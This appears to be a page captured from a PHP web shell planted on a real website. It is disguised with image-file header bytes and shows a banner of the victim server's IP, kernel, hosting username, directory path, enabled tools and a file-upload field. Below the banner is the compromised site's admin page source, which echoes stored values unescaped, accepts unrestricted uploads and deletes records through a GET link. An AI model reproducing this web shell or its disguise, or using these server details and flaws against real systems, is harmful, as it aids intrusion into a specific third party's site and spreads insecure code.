���� JFIF adgknasdgsa
Server IP : 195.35.60.187 / Your IP : 3.138.156.176 Web Server : LiteSpeed System : Linux us-imm-web537.main-hosting.eu 4.18.0-513.11.1.lve.el7h.x86_64 #1 SMP Thu Jan 18 15:21:24 UTC 2024 x86_64 User : u547896322 ( 547896322) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u547896322/domains/amrutimba.com/public_html/admin/ |
Upload File : |
<?php include_once '../config/config.php'; include_once '../controller/ctrldownloadlist.php'; $download=getdownload(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Responsive Admin & Dashboard Template based on Bootstrap 5"> <meta name="author" content="AdminKit"> <meta name="keywords" content="adminkit, bootstrap, bootstrap 5, admin, dashboard, template, responsive, css, sass, html, theme, front-end, ui kit, web"> <link rel="preconnect" href="https://fonts.gstatic.com"> <link rel="shortcut icon" href="img/icons/icon-48x48.png" /> <link rel="canonical" href="https://demo-basic.adminkit.io/pages-blank.html" /> <title>Amrut</title> <link href="css/app.css" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600&display=swap" rel="stylesheet"> <script src="https://cdn.ckeditor.com/4.9.2/standard/ckeditor.js"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" integrity="sha512-iecdLmaskl7CVkqkXNQ/ZH/XLlvWZOJyj7Yy7tcenmpD1ypASozpmT/E0iPtmFIB46ZmdtAc9eNBvH0H/ZpiBw==" crossorigin="anonymous" referrerpolicy="no-referrer" /> </head> <body> <div class="wrapper"> <?php include_once 'sidebar.php'; ?> <div class="main"> <?php include_once 'header.php'; ?> <section> <div class="container col-md-11 m-auto "> <div class="text-center" > <h3 style="font-weight:bold; color:#000;">Add Download</h3> </div> <form action="../controller/ctrladddownload.php" method="POST" enctype="multipart/form-data" > <input type="text" name="downid" id="downid" value=""> <div class="row"> <!-- <div class="col-md-3"> <label for="" style="font-weight:bold; color:#000;">Upload Image</label> <img width="80px" id="photo" src="" alt=""> <input class="form-control" type="file" name="photo"> </div> --> <div class="col-md-12"> <!-- <input type="text" name="downid" id="downid">--> <textarea class="form-control" name="downloads" id="downloads" ></textarea> </div> <div class=" col-md-3 mt-3"> <input name="files" class="form-control" type="file"> </div> <div class="row"> <div class="col-md-3"> <input class="btn btn-primary form-control" type="submit" value="submit" name="submit" style="margin-top:20px;"> </div> </div> </div> </form> <div class="" style="margin-top:40px"> <div class="text-center"><h2 class="fw fw-bold" style="font-weight:bold; color:#000;">Download List</h2></div> <table class="table table-bordered"> <thead> <tr> <th>Sr.No</th> <th>Download</th> <th>Action</th> </tr> <?php $sn=1; foreach($download as $down){ ?> <tr> <td><?php echo $sn++; ?></td> <td><a href="pdf/<?php echo $down['files']; ?>" download ><i class="fa-solid fa-download"></i> <?php echo $down['files']; ?></a> </td> <td><?php echo $down['downloads']; ?></td> <td><button class="btn btn-success" value="Edit" onclick="updatedownload('<?php echo $down['downid']; ?>','<?php echo $down['downloads']; ?>')" >Edit <i class="fas fa-edit"></i> </button> <a class="btn btn-danger" onclick="deletedownload(<?php echo $down['downid'] ?>)"> Del <i class="fas fa-trash"></i> </a></td> </tr> <?php } ?> </thead> </table> </div> </div> </section> </div> </div> <script type="text/javascript"> function deletedownload(id) { if (confirm("are u sure to delete Download")) { window.location = "../controller/ctrldeldownload.php?downid="+id; } else { return false; } } function updatedownload(id,downloads){ downid=document.getElementById("downid"); // alert(downid1); down=document.getElementById("downloads"); downid.value=id; down.value=downloads; } </script> <script src="js/app.js"></script> <script> CKEDITOR.replace(''); CKEDITOR.replace('editor2'); CKEDITOR.replace('editor3'); CKEDITOR.replace('objective'); CKEDITOR.replace('editor5'); CKEDITOR.replace('editor6'); CKEDITOR.replace('editor7'); CKEDITOR.replace('editor8'); CKEDITOR.replace('editor9'); CKEDITOR.replace('objectives'); function getData() { //Get data written in first Editor var editor_data = CKEDITOR.instances['editor1'].getData(); //Set data in Second Editor which is written in first Editor CKEDITOR.instances['editor2'].setData(editor_data); } </script> </body> </html>